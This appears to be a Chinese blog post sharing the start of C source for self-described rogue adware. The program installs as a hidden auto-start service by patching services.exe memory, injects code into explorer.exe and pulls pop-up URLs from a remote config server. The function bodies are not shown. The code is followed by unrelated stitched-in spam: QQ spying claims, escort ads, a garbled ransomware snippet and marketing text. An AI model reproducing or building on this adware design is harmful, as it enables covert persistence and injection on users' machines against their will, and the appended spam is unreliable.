ps:请勿用于非法用途,仅供技术研究之用。
by:yunshu
这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
这个是主函数,安装,读取配置,注入代码用的。
代码:
/**************************************************************************************************
* 1. 给XX作的流氓软件
* 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
**************************************************************************************************/
#include
#include
#include
#include
#include
// 是否记录日志
//#define DEBUG
#ifdef DEBUG
#define DEBUG_LOG "c:\debug.txt"
// 日志记录函数
void LogToFile( WCHAR * );
#endif
#include "ControlService.h"
#include "HideService.h"
#include "CustomFunction.h"
#pragma comment (lib, "Advapi32.lib")
#pragma comment (lib, "Shell32.lib")
#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "User32.lib")
#define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度
#define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程
#define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器
#define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径
#define IE_PATH "C:\Program Files\Internet Explorer\iexplore.exe"
#define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口
#define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间
// 宏,转换字符串为unicode
#define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );
// 弹出窗口之间的间隔时间
int sleep_time;
// 弹出的url地址
char url_path[512] = { 0 };
/**************************************************************************************************
* 函数原形
**************************************************************************************************/
void ServiceMain( DWORD, char **); //服务入口
BOOL SetDebugPrivilege( ); //获取debug权限
DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID
void InjectCode( ); //写代码到远程进程
void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间
/**************************************************************************************************
下载一个彩虹QQ。这个可以看到隐身的好友,和对方的IP地址! 想那种账号1级上来直接回答“什么事\有什么可以帮你\可以\能\我认识人”的骗子,请直接忽略 用穷举法不知行不行!这是破译机你选一款慢慢...
可能很多人他们不仅有一个微信号,有可能两个或者两个以上的微信号在同事使用,这时候他们就想要将几个微信号同时能够接受到信息,这时候就需要同步微信聊天记录,那么微信同步两人能同时接收吗?1.微信绑定qq能...
马兰 余秋雨(我对马兰有爱,对前妻李红有愧) 余秋雨与马兰 2020年11月,著名作家、学者余秋雨,在个人社交平台晒出与妻子马兰的合照。照片上的夫妻俩一看就年龄差距较大,但眉宇间是掩饰不住...
【6】康复寄存器的值让长途进程持续正常履行15、abc123 (无变化)勒索病毒所进犯的区域以数字经济兴旺和人口密布区域为主,全年遭到进犯最多的省市前三为:广东、浙江、北京。 34.39描述直接给了f...
北京伴游信息,北京市女伴游一般要多少钱?【赏莉莎】,上海市是一座成功者的集中地,对商业服务女学妹的要求也是较为大的,今日大牌明星兼职模特共享女学妹访梦,年纪上海市 女 22,婚姻生活:单身,文凭:普通...
跟着此刻的糊口程度的慢慢的获得了很大的晋升,各人很是看好餐饮行业的成长形势,各人认为和各人的日常糊口息息相关的加盟品牌是完全可觉得各人带来许多美食产物带来全新的体验的。那么在浩瀚美食产物云集的市场上,...